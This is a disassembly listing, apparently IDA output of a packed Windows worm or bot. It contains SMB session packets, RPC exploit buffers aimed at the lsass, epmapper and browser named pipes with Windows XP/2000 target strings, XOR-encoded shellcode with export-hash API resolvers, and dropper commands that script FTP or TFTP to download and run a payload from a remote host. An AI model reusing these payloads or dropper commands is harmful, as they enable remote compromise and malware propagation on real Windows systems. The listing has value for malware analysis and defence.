20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0 align 4 ; char unk_426604 unk_426604 db 2 ; DATA XREF: sub_40267F+85o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0 dword_426648 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_402DCE+E1o ; sub_402DCE+21Bo dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_426694 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_402B7B+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_4269F8 dd 20h, 0 ; DATA XREF: sub_402B7B+136o dd 20h, 5C005Ch, 0 off_426A0C dd offset off_43005C ; DATA XREF: sub_402B7B+15Do a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 dd 0 dword_426A4C dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B7B+174o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) aFxnbfxfxnbfxfx: ; DATA XREF: sub_402B7B+45o unicode 0, <FXNBFXFXNBFXFXFXFX> dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_426B5C dd 18759Fh ; DATA XREF: sub_402B7B+104o dword_426B60 dd 100139Dh ; DATA XREF: sub_402B7B+FBo asc_426B64: ; DATA XREF: sub_4029E0+1Co ; sub_402AC3+16o unicode 0, <\\>,0 align 4 off_426B6C dd offset byte_49005C ; DATA XREF: sub_4029E0+Co ; sub_402AC3+Bo dd offset off_430050 dd 24h ; char unk_426B78 unk_426B78 db 2 ; DATA XREF: sub_402DCE+299o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTransferComple db ' transfer complete to IP: %s',0 align 10h ; char aSPipeEpmapper[] aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DCE+41o align 8 jmp short loc_426BDA ; =============== S U B R O U T I N E ======================================= sub_426BCA proc far ; CODE XREF: sub_426BCA:loc_426BDAp pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_426BD2: ; CODE XREF: sub_426BCA+Cj xor byte ptr [ebx+ecx], 99h loop loc_426BD2 jmp short loc_426BDF ; --------------------------------------------------------------------------- loc_426BDA: ; CODE XREF: UPX0:00426BC8j call near ptr sub_426BCA loc_426BDF: ; CODE XREF: sub_426BCA+Ej jo short loc_426C43 cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_426C61 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_426C43: ; CODE XREF: sub_426BCA:loc_426BDFj mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_426C61: ; CODE XREF: sub_426BCA+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_426BCA endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; char Str[] Str db 'ë' ; DATA XREF: sub_403240+156o ; sub_403240+212o ; --------------------------------------------------------------------------- adc [edx+4Ah], bl xor ecx, ecx mov cx, 17Dh loc_426D12: ; CODE XREF: UPX0:00426D16j xor byte ptr [edx+ecx], 99h loop loc_426D12 jmp short loc_426D1F ; --------------------------------------------------------------------------- dw 0EBE8h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_426D1F: ; CODE XREF: UPX0:00426D18j jo short near ptr dword_426C98+1Eh cwde cdq cdq retn ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_426DB8 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_403240+105o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_426EA0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: UPX0:00403704o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_426F2C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: UPX0:00403730o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_426FD8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: UPX0:00403757o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4270B8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403240+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_2: ; DATA XREF: sub_403240+8Ao unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_42711C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403240+2AAo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_427188 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403240+2D1o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42722C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403240+3B0o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4272AC dd offset loc_401495 ; DATA XREF: sub_403240+3DEo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_427340 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403240+306o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_4273AC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403240+331o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_427420 dd 0 ; DATA XREF: sub_403240+35Fo dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 3 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 10h dword_4274E0 dd 1004600h ; DATA XREF: sub_403240+140r ; sub_403240+245r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) ; char aS_6[] aS_6 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_4030DF+102o ; sub_405145+DFo ... align 10h ; char aEchoOpenSDOEch[] aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: sub_4030DF+BEo db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 align 4 ; char aTftpISGetS[] aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030DF+97o dword_427620 dd 6EB06EBh, 0 ; DATA XREF: sub_403240+177o ; char aSIpc[] aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_403240+27o ; sub_404950+33o align 4 dword_427634 dd 1CEC8166h ; DATA XREF: sub_403240+Dr dword_427638 dd 0E4FF07h ; DATA XREF: sub_403240+16r byte_42763C db 90h ; DATA XREF: sub_403A87+B2o db 42h, 90h, 42h db 90h dd offset word_429042 align 4 dword_427648 dd 10FF8h, 0 ; DATA XREF: sub_403A87+6Ao dword_427650 dd 10FF8h ; DATA XREF: sub_403A87+79o dword_427654 dd 7FFDF020h, 0 ; DATA XREF: sub_403A87+162o dword_42765C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_403EB1+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4276E4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403EB1+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_427714 dd 0 ; DATA XREF: sub_403EB1+44o dd 800000D4h, 0 unk_427720 db 81h ; ; DATA XREF: sub_403F8B+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_42776C db 41h ; DATA XREF: sub_404029+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_4277B0 proc near ; DATA XREF: UPX0:00404306o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_4278AC push dword ptr [esi] push 63D61209h call sub_4278C2 mov [esi+8], eax call sub_427875 push dword ptr [esi+4] push 0CA2BD06Bh call sub_4278C2 mov [esi+0Ch], eax call sub_427827 push dword ptr [esi+4] push 4C0297FAh call sub_4278C2 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_4277B0 endp ; =============== S U B R O U T I N E ======================================= sub_427827 proc near ; CODE XREF: sub_4277B0+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_427850 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_427827 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_427850 proc near ; CODE XREF: sub_427827+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_42785F: ; CODE XREF: sub_427850+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_42786C inc ebx jmp short loc_42785F ; --------------------------------------------------------------------------- loc_42786C: ; CODE XREF: sub_427850+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_427850 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_427875 proc near ; CODE XREF: sub_4277B0+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_42788D: ; CODE XREF: sub_427875+1Ej cmp [ecx], ebx jz short loc_427895 mov ecx, [ecx] jmp short loc_42788D ; --------------------------------------------------------------------------- loc_427895: ; CODE XREF: sub_427875+1Aj mov edx, edi loc_427897: ; CODE XREF: sub_427875+2Aj cmp [edx+4], ebx jz short loc_4278A1 mov edx, [edx+4] jmp short loc_427897 ; --------------------------------------------------------------------------- loc_4278A1: ; CODE XREF: sub_427875+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_427875 endp ; =============== S U B R O U T I N E ======================================= sub_4278AC proc near ; CODE XREF: sub_4277B0+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_4278AC endp ; =============== S U B R O U T I N E ======================================= sub_4278C2 proc near ; CODE XREF: sub_4277B0+16p ; sub_4277B0+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4278D8: ; CODE XREF: sub_4278C2+33j jecxz short loc_427912 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_4278E5: ; CODE XREF: sub_4278C2+2Dj lodsb cmp al, ah jz short loc_4278F1 ror edi, 0Dh add edi, eax jmp short loc_4278E5 ; --------------------------------------------------------------------------- loc_4278F1: ; CODE XREF: sub_4278C2+26j cmp edi, [esp+20h+arg_0] jnz short loc_4278D8 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_427912: ; CODE XREF: sub_4278C2:loc_4278D8j ; sub_4278C2:loc_427912j jmp short loc_427912 sub_4278C2 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_427918 proc near ; DATA XREF: UPX0:004042B6o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_42796A mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_427935: ; CODE XREF: sub_427918+38j jecxz short loc_427965 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_427940: ; CODE XREF: sub_427918+32j lodsb test al, al jz short loc_42794C ror edx, 0Dh add edx, eax jmp short loc_427940 ; --------------------------------------------------------------------------- loc_42794C: ; CODE XREF: sub_427918+2Bj cmp edx, [esp+arg_0] jnz short loc_427935 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_427965: ; CODE XREF: sub_427918:loc_427935j mov [esp+arg_0], ebx retn sub_427918 endp ; =============== S U B R O U T I N E ======================================= sub_42796A proc near ; CODE XREF: sub_427918+7p ; FUNCTION CHUNK AT 004279A2 SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_427983 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_42798E ; --------------------------------------------------------------------------- loc_427983: ; CODE XREF: sub_42796A+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_42798E: ; CODE XREF: sub_42796A+14j pop edi xor esi, esi pusha push esi jmp short loc_4279A2 sub_42796A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_427995 proc near ; CODE XREF: sub_42796A:loc_4279A2p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_427995 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42796A loc_4279A2: ; CODE XREF: sub_42796A+29j call sub_427995 loc_4279A7: ; DATA XREF: sub_403A2C+1Bo ; sub_40EE51+819o add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_42796A ; --------------------------------------------------------------------------- db 3 dup(0) ; char dword_4279AC[] dword_4279AC dd 60h ; DATA XREF: sub_403A87+320o ; char dword_4279B0[] dword_4279B0 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A87+2F5o ; char dword_4279BC[] dword_4279BC dd 30h ; DATA XREF: sub_403A87+2CAo ; UPX0:0042EA08o ; char dword_4279C0[] dword_4279C0 dd 0A1h ; DATA XREF: sub_403A87+29Fo dword_4279C4 dd 3 ; DATA XREF: sub_403A87+246o ; char aCccc[] aCccc db 'CCCC',0 ; DATA XREF: sub_403A87+153o align 10h ; char loc_4279D0 loc_4279D0: ; DATA XREF: sub_403A87+E8o jmp short near ptr dword_4279D8 ; --------------------------------------------------------------------------- align 8 dword_4279D8 dd 0 ; CODE XREF: UPX0:loc_4279D0j ; char aCmdCEchoOpenSD[] aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: UPX0:004042DBo ; sub_404E55+92o ... db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_427A50 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: sub_404950+2B0o ; --------------------------------------------------------------------------- loc_427A5C: ; CODE XREF: UPX0:00427A66j xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_427A5C inc edi jz short loc_427AA3 and eax, 952CE753h inc esp jle short loc_427ACB push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_427AA3: ; CODE XREF: UPX0:00427A69j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_427B02+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_427AC8: ; CODE XREF: UPX0:00427AF5j xor [esi-25h], bl loc_427ACB: ; CODE XREF: UPX0:00427A71j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_427AE4: ; CODE XREF: UPX0:00427B17j rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_427AC8 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_427B02: ; CODE XREF: UPX0:00427AA9j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_427B8E jo short loc_427AE4 fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_427B25+1 add bl, [edi] loc_427B25: ; CODE XREF: UPX0:00427B21j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_427B3A+2 cmp ch, bh dec edx loc_427B3A: ; CODE XREF: UPX0:00427B35j xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_427B8E: ; CODE XREF: UPX0:00427B15j mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_427C14 sub al, 0BCh jmp near ptr 54447F82h ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_427BB0 dd 0EFFFC481h, 44FFFFh, 427BFCh ; DATA XREF: sub_404950+297o dword_427BBC dd 42Ah ; DATA XREF: sub_404950+24Ar dword_427BC0 dd 3E8h ; DATA XREF: sub_404950+2BBr dword_427BC4 dd 258h ; DATA XREF: sub_404950+28Dr byte_427BC8 db 0 ; DATA XREF: sub_404950+1F6r ; sub_404950+2C4r align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_427BE0 dd 20804h ; DATA XREF: sub_404854r ; sub_404950+2E2o ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: UPX0:00427BCCo align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_427C14: ; CODE XREF: UPX0:00427B98j push eax xor al, 29h loc_427C17: ; DATA XREF: sub_404950+21Eo add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 10h dword_427C20 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: sub_404950+14Eo dword_427C34 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: sub_404950+F2o ; char aSPipeBrowser[] aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: sub_404950+81o align 4 ; char a_[] a_: ; DATA XREF: sub_404950+10o ; sub_40637D+24Do unicode 0, <.>,0 dword_427C60 dd 200F1001h, 0Ah, 1001802h, 0 